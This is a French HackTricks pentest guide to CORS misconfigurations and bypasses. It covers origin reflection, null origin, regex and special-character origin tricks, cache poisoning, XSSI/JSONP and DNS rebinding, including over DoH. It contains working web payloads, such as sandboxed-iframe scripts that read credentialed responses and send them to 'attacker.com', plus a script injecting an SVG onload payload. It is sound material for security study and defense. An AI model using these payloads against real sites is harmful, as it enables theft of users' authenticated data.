CORS - Misconfigurations & Bypass

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks

Qu’est-ce que CORS ?

Le standard Cross-Origin Resource Sharing (CORS) permet aux servers de définir qui peut accéder à leurs assets et quelles méthodes de requête HTTP sont autorisées depuis des sources externes.

Une politique same-origin impose qu’un server demandant une ressource et le server hébergeant la resource partagent le même protocol (par ex. http://), le même nom de domaine (par ex. internal-web.com) et le même port (par ex. 80). Selon cette politique, seules les pages web provenant du même domain et du même port sont autorisées à accéder aux resources.

L’application de la politique same-origin dans le contexte de http://normal-website.com/example/example.html est illustrée comme suit :

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer ignores le numéro de port lors de l’application de la politique same-origin, autorisant ainsi cet accès.

Access-Control-Allow-Origin Header

Ce header peut autoriser plusieurs origins, une valeur null, ou un wildcard *. Cependant, aucun browser ne supporte plusieurs origins, et l’utilisation du wildcard * est soumise à des limitations. (Le wildcard doit être utilisé seul, et son utilisation avec Access-Control-Allow-Credentials: true n’est pas autorisée.)

Ce header est émis par un server en réponse à une requête de resource cross-domain initiée par un website, le browser ajoutant automatiquement un header Origin.

Access-Control-Allow-Credentials Header

Par défaut, les requêtes cross-origin sont effectuées sans credentials comme les cookies ou le Authorization header. Cependant, un server cross-domain peut autoriser la lecture de la response lorsque des credentials sont envoyés en définissant le header Access-Control-Allow-Credentials sur true.

Si cette valeur est définie à true, le browser transmettra les credentials (cookies, authorization headers, ou certificats client TLS).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

Requête pré-flight CSRF

Comprendre les requêtes pré-flight dans la communication cross-domain

Lors de l’initiation d’une requête cross-domain dans certaines conditions, comme l’utilisation d’une méthode HTTP non standard (tout ce qui n’est pas HEAD, GET, POST), l’ajout de nouveaux headers, ou l’emploi d’une valeur spéciale de l’en-tête Content-Type, une requête pré-flight peut être requise. Cette requête préliminaire, utilisant la méthode OPTIONS, sert à informer le server des intentions de la future requête cross-origin, y compris les méthodes HTTP et les headers qu’elle compte utiliser.

Le protocole Cross-Origin Resource Sharing (CORS) impose cette vérification pré-flight pour déterminer la faisabilité de l’opération cross-origin demandée en vérifiant les méthodes autorisées, les headers, et la fiabilité de l’origine. Pour une compréhension détaillée des conditions qui contournent le besoin d’une requête pré-flight, consultez le guide complet fourni par Mozilla Developer Network (MDN).

Il est crucial de noter que l’absence d’une requête pré-flight n’annule pas l’exigence que la réponse transporte des headers d’autorisation. Sans ces headers, le browser est incapable de traiter la réponse de la requête cross-origin.

Considérez l’illustration suivante d’une requête pré-flight visant à utiliser la méthode PUT avec un header personnalisé nommé Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En réponse, le serveur peut renvoyer des en-têtes indiquant les méthodes acceptées, l’origine autorisée et d’autres détails de la politique CORS, comme indiqué ci-dessous :

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers : Cet en-tête spécifie quels en-têtes peuvent être utilisés pendant la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
  • Access-Control-Expose-Headers : À travers cet en-tête, le serveur informe le client de quels en-têtes peuvent être exposés dans la réponse en plus des simple response headers.
  • Access-Control-Max-Age : Cet en-tête indique combien de temps les résultats d’une requête pre-flight peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pre-flight peuvent être réutilisées.
  • Access-Control-Request-Headers : Utilisé dans les requêtes pre-flight, cet en-tête est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
  • Access-Control-Request-Method : Cet en-tête, également utilisé dans les requêtes pre-flight, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la requête réelle.
  • Origin : Cet en-tête est défini automatiquement par le navigateur et indique l’origine de la requête cross-origin. Il est utilisé par le serveur pour évaluer si la requête entrante doit être autorisée ou refusée selon la politique CORS.

Notez qu’en général (selon le content-type et les en-têtes définis) dans une requête GET/POST aucune requête pre-flight n’est envoyée (la requête est envoyée directement), mais si vous voulez accéder aux en-têtes/body de la réponse, elle doit contenir un en-tête Access-Control-Allow-Origin l’autorisant.
Par conséquent, CORS ne protège pas contre CSRF (mais cela peut être utile).

Local Network Requests Pre-flight request

Les navigateurs modernes et le brouillon actuel Private Network Access (PNA) utilisent les en-têtes Access-Control-Request-Private-Network: true dans le preflight et Access-Control-Allow-Private-Network: true dans la réponse. Les anciens articles et PoCs peuvent encore faire référence à des noms d’en-têtes Local-Network, mais pour les tests actuels vous devez vous attendre aux variantes Private-Network.

Une réponse valide autorisant la requête local network doit aussi inclure Access-Control-Allow-Private-Network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Et la requête preflight ressemblera à :

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Le déploiement de PNA par Chrome a changé plusieurs fois durant 2024. Au 9 octobre 2024, Chrome indiquait que les preflights PNA étaient suspendus en raison de problèmes de compatibilité, tandis que les restrictions secure-context restaient en place. Par conséquent, continue de tester à la fois le flux de preflight conforme à la spec et l’ancien comportement “works in practice because enforcement is incomplete”.

Warning

Note que l’IP linux 0.0.0.0 fonctionne pour bypass ces exigences afin d’accéder à localhost, car cette adresse IP n’est pas considérée comme “local”.

Chrome a aussi documenté que 0.0.0.0/8 est désormais traité comme faisant partie de Private Network Access, donc cette astuce dépend du navigateur/de la version et doit être retestée au lieu d’être supposée fonctionner.

Il est aussi possible de bypass les exigences du Local Network si tu utilises l’adresse IP publique d’un endpoint local (comme l’IP publique du routeur). En effet, dans plusieurs cas, même si l’IP publique est utilisée, si la requête provient du réseau local, l’accès sera accordé.

Wildcards

Note que même si la configuration suivante peut sembler très permissive :

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Ceci n’est pas autorisé par les browsers et donc les credentials ne seront pas envoyés avec la request autorisée par cela.

Exploitable misconfigurations

Il a été observé que le réglage de Access-Control-Allow-Credentials sur true est un prérequis pour la plupart des real attacks. Ce réglage permet au browser d’envoyer des credentials et de lire la réponse, ce qui renforce l’efficacité de l’attaque. Sans cela, l’avantage de faire émettre une request par un browser plutôt que de le faire soi-même diminue, car exploiter les cookies d’un utilisateur devient impossible.

Exception : Exploiting Network Location as Authentication

Il existe une exception où la network location de la victime agit comme une forme d’authentification. Cela permet d’utiliser le browser de la victime comme proxy, en contournant l’authentification basée sur l’IP pour accéder à des intranet applications. Cette méthode présente des similitudes d’impact avec le DNS rebinding mais est plus simple à exploiter.

Reflection de Origin dans Access-Control-Allow-Origin

Le scénario du monde réel où la valeur de l’en-tête Origin est reflétée dans Access-Control-Allow-Origin est théoriquement improbable en raison des restrictions sur la combinaison de ces en-têtes. Cependant, des developers cherchant à activer CORS pour plusieurs URLs peuvent générer dynamiquement l’en-tête Access-Control-Allow-Origin en copiant la valeur de l’en-tête Origin. Cette approche peut introduire des vulnerabilities, en particulier lorsqu’un attacker utilise un domaine avec un nom conçu pour paraître légitime, trompant ainsi la logique de validation.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Exploiter l’null Origin

L’null origin, spécifié pour des situations comme les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications mettent cette origin en whitelist pour faciliter le développement local, permettant par inadvertance à n’importe quel site de simuler une origin null via un iframe sandboxed, contournant ainsi les restrictions CORS.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Techniques de contournement des expressions régulières

Lorsqu’on rencontre une whitelist de domaines, il est crucial de tester les possibilités de bypass, comme l’ajout du domaine de l’attaquant à un domaine autorisé ou l’exploitation de vulnérabilités de subdomain takeover. De plus, les regular expressions utilisées pour la validation des domaines peuvent négliger certaines subtilités des conventions de nommage des domaines, ce qui ouvre d’autres possibilités de bypass.

Bypasses avancés des expressions régulières

Les patterns Regex se concentrent généralement sur les caractères alphanumériques, le point (.) et le tiret (-), en négligeant d’autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les browsers et les patterns Regex peut contourner les vérifications de sécurité. La gestion des caractères underscore dans les subdomains par Safari, Chrome et Firefox illustre comment de telles différences peuvent être exploitées pour contourner la logique de validation des domaines.

Pour plus d’informations et les paramètres de cette vérification de bypass : https://www.corben.io/advanced-cors-techniques/ et https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Depuis un XSS dans un subdomain

Les développeurs mettent souvent en place des mécanismes défensifs pour se protéger contre l’exploitation de CORS en autorisant uniquement les domaines qui peuvent demander des informations. Malgré ces précautions, la sécurité du système n’est pas infaillible. La présence d’un seul subdomain vulnérable parmi les domaines autorisés peut ouvrir la porte à l’exploitation de CORS via d’autres vulnérabilités, comme XSS (Cross-Site Scripting).

Pour illustrer cela, prenons le scénario où un domaine, requester.com, est autorisé à accéder aux ressources d’un autre domaine, provider.com. La configuration côté serveur pourrait ressembler à ceci :

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

Dans cette configuration, tous les sous-domaines de requester.com sont autorisés à accéder. Cependant, si un sous-domaine, par exemple sub.requester.com, est compromis avec une vulnérabilité XSS, un attaquant peut exploiter cette faiblesse. Par exemple, un attaquant ayant accès à sub.requester.com pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur provider.com.

Special Characters

PortSwigger’s URL validation bypass cheat sheet a constaté que certains navigateurs prennent en charge des caractères étranges dans les noms de domaine.

Chrome et Firefox prennent en charge les underscores _ qui peuvent contourner les regex implémentées pour valider l’en-tête Origin:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari est encore plus laxiste en acceptant des caractères spéciaux dans le nom de domaine :

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Les récentes mises à jour de la cheat sheet de PortSwigger ont ajouté davantage de payloads de domain splitting orientés Safari qui valent la peine d’être fuzzés lorsque la cible valide l’en-tête Origin à l’aide de regexes ou de parsers d’URL maison :

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Ce sont utiles lorsque le backend vérifie seulement si l’origin fournie commence par ou contient le hostname de confiance, tandis que le browser considère toujours le suffixe contrôlé par l’attaquant comme la frontière effective de l’origin.

Rappelez-vous aussi que le fuzzing d’origin moderne ne doit pas s’arrêter aux suffixes de hostname. La cheat sheet PortSwigger actuelle inclut des familles de payloads pour :

  • Domain allow-list bypasses : domaines contrôlés par l’attaquant qui satisfont quand même de naïves vérifications de préfixe/suffixe/sous-chaîne.
  • Fake-relative absolute URLs : des URLs absolues valides pour le browser que le code applicatif peut parser comme relatives.
  • Loopback/IP normalizations : formes IPv4/IPv6 alternatives utiles lorsque la logique CORS tente de bloquer localhost, 127.0.0.1 ou des endpoints cloud metadata par comparaison de chaînes.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Il est possible qu’en exploitant un server-side cache poisoning via une injection d’en-têtes HTTP, une vulnérabilité stored Cross-Site Scripting (XSS) puisse être induite. Ce scénario se produit lorsqu’une application ne nettoie pas l’en-tête Origin pour les caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d’Internet Explorer et Edge. Ces browsers traitent (0x0d) comme un terminateur d’en-tête HTTP valide, ce qui conduit à des vulnérabilités d’injection d’en-têtes HTTP.

Considérez la requête suivante où l’en-tête Origin est manipulé :

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer et Edge interprètent la réponse comme :

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Bien qu’exploiter directement cette vulnérabilité en faisant envoyer à un web browser un en-tête malformé ne soit pas faisable, une requête conçue peut être générée manuellement à l’aide d’outils comme Burp Suite. Cette méthode pourrait conduire à ce qu’un cache côté server enregistre la réponse et la serve involontairement à d’autres. Le payload conçu vise à modifier le jeu de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères d’une manière qui peut être exécutée comme script dans certains contextes.

Pour en savoir plus sur les vulnérabilités stored XSS, voir PortSwigger.

Note : L’exploitation des vulnérabilités d’injection d’en-tête HTTP, en particulier via le cache poisoning côté server, souligne l’importance critique de valider et de sanitiser toutes les entrées fournies par l’utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut la validation des entrées afin d’empêcher de telles vulnérabilités.

Client-Side cache poisoning

From this research

Dans ce scénario, une instance d’une page web reflétant le contenu d’un en-tête HTTP custom sans encodage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête X-User-id, qui pourrait inclure du JavaScript malveillant, comme le montre l’exemple où l’en-tête contient une balise d’image SVG conçue pour exécuter du code JavaScript au chargement.

Les politiques Cross-Origin Resource Sharing (CORS) permettent l’envoi d’en-têtes custom. Cependant, sans que la réponse soit directement rendue par le browser en raison des restrictions CORS, l’utilité d’une telle injection peut sembler limitée. Le point critique apparaît lorsqu’on considère le comportement du cache du browser. Si l’en-tête Vary: Origin n’est pas spécifié, il devient possible pour la réponse malveillante d’être mise en cache par le browser. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l’URL, contournant ainsi la nécessité d’un rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l’attaque en tirant parti du cache côté client.

Pour illustrer cette attaque, un exemple JavaScript est fourni, conçu pour être exécuté dans l’environnement d’une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête vers une URL spécifiée avec un en-tête custom contenant le JavaScript malveillant. Une fois la requête terminée avec succès, il tente de naviguer vers l’URL cible, déclenchant potentiellement l’exécution du script injecté si la réponse a été mise en cache sans gestion appropriée de l’en-tête Vary: Origin.

Voici un résumé de la logique JavaScript utilisée pour exécuter cette attaque :

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, aussi connu sous le nom de Cross-Site Script Inclusion, est un type de vulnérabilité qui tire parti du fait que la Same Origin Policy (SOP) ne s’applique pas lors de l’inclusion de ressources via la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus depuis différents domaines. Cette vulnérabilité permet à un attaquant d’accéder à et de lire tout contenu inclus via la balise script.

Cette vulnérabilité devient particulièrement importante lorsqu’il s’agit de JavaScript dynamique ou de JSONP (JSON with Padding), surtout lorsque des informations d’ambient-authority comme les cookies sont utilisées pour l’authentification. Lors de la requête d’une ressource depuis un autre host, les cookies sont inclus, les rendant accessibles à l’attaquant.

Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser le plugin BurpSuite disponible à https://github.com/kapytein/jsonp. Ce plugin peut aider à identifier et traiter les vulnérabilités XSSI potentielles dans vos applications web.

Read more about the difefrent types of XSSI and how to exploit them here.

Essayez d’ajouter un callback parameter dans la requête. Peut-être que la page a été préparée pour envoyer les données en JSONP. Dans ce cas, la page renverra les données avec Content-Type: application/javascript, ce qui contournera la politique CORS.

Easy (useless?) bypass

Une façon de contourner la restriction Access-Control-Allow-Origin consiste à demander à une application web de faire une requête en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les credentials de la victime finale ne seront pas envoyés, car la requête est faite vers un domaine différent.

  1. CORS-escape: Cet outil fournit un proxy qui relaie votre requête avec ses headers, tout en usurpant le header Origin pour correspondre au domaine demandé. Cela contourne efficacement la politique CORS. Voici un exemple d’utilisation avec XMLHttpRequest :
  2. simple-cors-escape: Cet outil propose une approche alternative pour proxyfier les requêtes. Au lieu de relayer votre requête telle quelle, le serveur effectue sa propre requête avec les paramètres spécifiés.

Iframe + Popup Bypass

Vous pouvez bypass CORS checks comme e.origin === window.origin en créant une iframe puis en ouvrant une nouvelle fenêtre depuis celle-ci. Plus d’informations dans la page suivante :

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL est une technique utilisée pour bypass certaines mesures de sécurité en manipulant des enregistrements DNS. Voici comment cela fonctionne :

  1. L’attaquant crée une page web et fait en sorte que la victime y accède.
  2. L’attaquant change ensuite le DNS (IP) de son propre domaine pour le faire pointer vers la page web de la victime.
  3. Le navigateur de la victime met en cache la réponse DNS, qui peut avoir une valeur TTL (Time to Live) indiquant combien de temps l’enregistrement DNS doit être considéré comme valide.
  4. Lorsque le TTL expire, le navigateur de la victime effectue une nouvelle requête DNS, permettant à l’attaquant d’exécuter du code JavaScript sur la page de la victime.
  5. En gardant le contrôle sur l’IP de la victime, l’attaquant peut collecter des informations depuis la victime sans envoyer de cookies au serveur de la victime.

Il est important de noter que les navigateurs disposent de mécanismes de cache qui peuvent empêcher un abus immédiat de cette technique, même avec de faibles valeurs TTL.

DNS rebinding peut être utile pour bypass des vérifications explicites d’IP effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, laissant le cache expirer.

Si vous avez besoin d’un moyen rapide d’abuser de DNS rebinding, vous pouvez utiliser des services comme https://lock.cmpxchg8b.com/rebinder.html.

Pour exécuter votre propre serveur DNS rebinding, vous pouvez utiliser des outils comme DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Cela consiste à exposer votre port local 53/udp, à créer un enregistrement A pointant vers celui-ci (par ex. ns.example.com), et à créer un enregistrement NS pointant vers le sous-domaine A créé précédemment (par ex. ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre host.

Vous pouvez aussi explorer un serveur public à http://rebind.it/singularity.html pour mieux comprendre et expérimenter.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding est une autre technique utilisée pour bypass le mécanisme de cache des navigateurs et forcer une seconde requête DNS. Voici comment cela fonctionne :

  1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l’adresse IP de l’attaquant.
  2. Pour bypass la défense par cache, l’attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom de serveur de l’attaquant mis en cache.
  3. Lorsque le navigateur de la victime effectue une seconde requête DNS, il reçoit alors l’adresse IP 127.0.0.1, qui désigne généralement le localhost.

En inondant le cache DNS avec le service worker, l’attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une seconde requête, cette fois résolue vers l’adresse IP souhaitée par l’attaquant.

DNS Rebinding via Cache

Une autre façon de bypass la défense par cache consiste à utiliser plusieurs adresses IP pour le même sous-domaine chez le fournisseur DNS. Voici comment cela fonctionne :

  1. L’attaquant met en place deux enregistrements A (ou un seul enregistrement A avec deux IPs) pour le même sous-domaine chez le fournisseur DNS.
  2. Lorsqu’un navigateur vérifie ces enregistrements, il reçoit les deux adresses IP.
  3. Si le navigateur décide d’utiliser d’abord l’adresse IP de l’attaquant, l’attaquant peut servir un payload qui effectue des requêtes HTTP vers le même domaine.
  4. Cependant, une fois que l’attaquant obtient l’adresse IP de la victime, il cesse de répondre au navigateur de la victime.
  5. Le navigateur de la victime, en constatant que le domaine ne répond plus, passe à la seconde adresse IP fournie.
  6. En accédant à la seconde adresse IP, le navigateur bypass la Same Origin Policy (SOP), permettant à l’attaquant d’abuser de cela pour collecter et exfiltrer des informations.

Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix d’adresse IP du navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.

Warning

Note that in order to access localhost you should try to rebind 127.0.0.1 in Windows and 0.0.0.0 in linux.
Providers such as godaddy or cloudflare didn’t allow me to use the ip 0.0.0.0, but AWS route53 allowed me to create one A record with 2 IPs being one of them “0.0.0.0”

Pour plus d’informations, vous pouvez consulter https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Si les internal IPs ne sont pas autorisées, il se peut qu’ils aient oublié d’interdire 0.0.0.0 (fonctionne sur Linux et Mac)
  • Si les internal IPs ne sont pas autorisées, répondez avec un CNAME vers localhost (fonctionne sur Linux et Ma
  • Si les internal IPs ne sont pas autorisées comme réponses DNS, vous pouvez répondre avec des CNAMEs vers des services internes comme www.corporate.internal.

DNS Rebidding Weaponized

Vous pouvez trouver plus d’informations sur les techniques de bypass précédentes et sur l’utilisation de l’outil suivant dans la conférence Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin est un outil pour réaliser des attaques de DNS rebinding. Il inclut les composants nécessaires pour rebinder l’adresse IP du nom DNS du serveur d’attaque vers l’adresse IP de la machine cible et pour servir des payloads d’attaque afin d’exploiter un logiciel vulnérable sur la machine cible.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH encapsule simplement le format DNS classique RFC1035 dans HTTPS (généralement un POST avec Content-Type: application/dns-message). Le resolver répond toujours avec les mêmes resource records, donc les techniques de SOP-breaking continuent de fonctionner même lorsque les navigateurs résolvent le hostname contrôlé par l’attaquant via TLS.

Key observations

  • Chrome (Windows/macOS) et Firefox (Linux) rebinding avec succès lorsqu’ils sont configurés pour des resolvers DoH Cloudflare, Google ou OpenDNS. Le chiffrement du transport ne ralentit ni ne bloque le flux d’attaque pour les stratégies first-then-second, multiple-answers ou DNS cache flooding.
  • Les résolveurs publics voient toujours chaque requête, mais ils n’appliquent que rarement la correspondance host-to-IP que le navigateur doit respecter. Une fois que le serveur autoritaire renvoie la séquence de rebinding, le navigateur conserve le tuple d’origine while se connectant à la nouvelle IP.

Singularity strategies and timing over DoH

  • First-then-second reste l’option la plus fiable : la première résolution renvoie l’IP de l’attaquant qui sert le payload, et toutes les résolutions ultérieures renvoient l’IP interne/localhost. Avec les caches DNS typiques des navigateurs, cela bascule le trafic en ~40–60 secondes, même lorsque le resolver récursif n’est accessible qu’en HTTPS.
  • Multiple answers (fast rebinding) atteint toujours localhost en <3 secondes en répondant avec deux enregistrements A (IP de l’attaquant + 0.0.0.0 sur Linux/macOS ou 127.0.0.1 sur Windows) et en blackholing programmé de la première IP (par exemple, iptables -I OUTPUT -d <attacker_ip> -j DROP) peu après le chargement de la page. L’implémentation DoH de Firefox peut émettre des requêtes DNS répétées, donc la correction Singularity consiste à programmer la règle de pare-feu par rapport au timestamp de la première requête plutôt que de réinitialiser le timer à chaque requête.

Beating “rebind protection” in DoH providers

  • Certains fournisseurs (par ex. NextDNS) remplacent les réponses privées/loopback par 0.0.0.0, mais Linux et macOS acheminent volontiers cette destination vers des services locaux. Renvoyer intentionnellement 0.0.0.0 comme second record permet donc toujours de pivoter l’origine vers localhost.
  • Filtrer uniquement la réponse A/AAAA directe est inefficace : renvoyer un CNAME vers un hostname interne uniquement fait en sorte que le resolver DoH public relaie l’alias, tandis que des navigateurs comme Firefox retombent sur le DNS système pour la zone interne, complétant la résolution vers une IP privée qui est toujours considérée comme l’origine de l’attaquant.

Browser-specific DoH behavior

  • Firefox DoH fonctionne en mode fallback : tout échec DoH (y compris une cible CNAME non résolue) déclenche une recherche en clair via le resolver OS, qui est généralement un serveur DNS d’entreprise connaissant l’espace de noms interne. Ce comportement est ce qui rend le bypass CNAME fiable dans les réseaux d’entreprise.
  • Chrome DoH ne s’active que lorsque le DNS OS pointe vers un resolver récursif compatible DoH et whitelisté (Cloudflare, Google, Quad9, etc.) et n’offre pas la même chaîne de fallback. Les hostnames internes qui n’existent que sur le DNS d’entreprise échouent donc à se résoudre, mais le rebinding vers localhost ou toute adresse routable réussit toujours car l’attaquant contrôle l’ensemble des réponses.

Testing and monitoring DoH flows

  • Firefox : Settings ➜ Network Settings ➜ Enable DNS over HTTPS et fournissez l’endpoint DoH (Cloudflare et NextDNS sont intégrés). Chrome/Chromium : activez chrome://flags/#dns-over-https et configurez les serveurs DNS de l’OS sur l’un des resolvers supportés par Chrome (par ex. 1.1.1.1/1.0.0.1).
  • Vous pouvez interroger directement les APIs DoH publiques, par ex. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq pour confirmer les enregistrements exacts que les navigateurs mettront en cache.
  • Intercepter DoH dans Burp/ZAP fonctionne toujours car il s’agit simplement de HTTPS (payload DNS binaire dans le body). Pour une inspection au niveau paquet, exportez les clés TLS (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) avant de lancer le navigateur et laissez Wireshark déchiffrer les sessions DoH avec le filtre d’affichage dns pour voir quand le navigateur reste sur DoH ou retombe sur le DNS classique.

Real Protection against DNS Rebinding

  • Utiliser TLS dans les services internes
  • Demander une authentification pour accéder aux données
  • Valider le header Host
  • https://wicg.github.io/private-network-access/: Proposition d’envoyer toujours une requête pre-flight lorsque des serveurs publics veulent accéder à des serveurs internes

Tools

Fuzz possible misconfigurations in CORS policies

References

Tip

Apprenez et pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).

Support HackTricks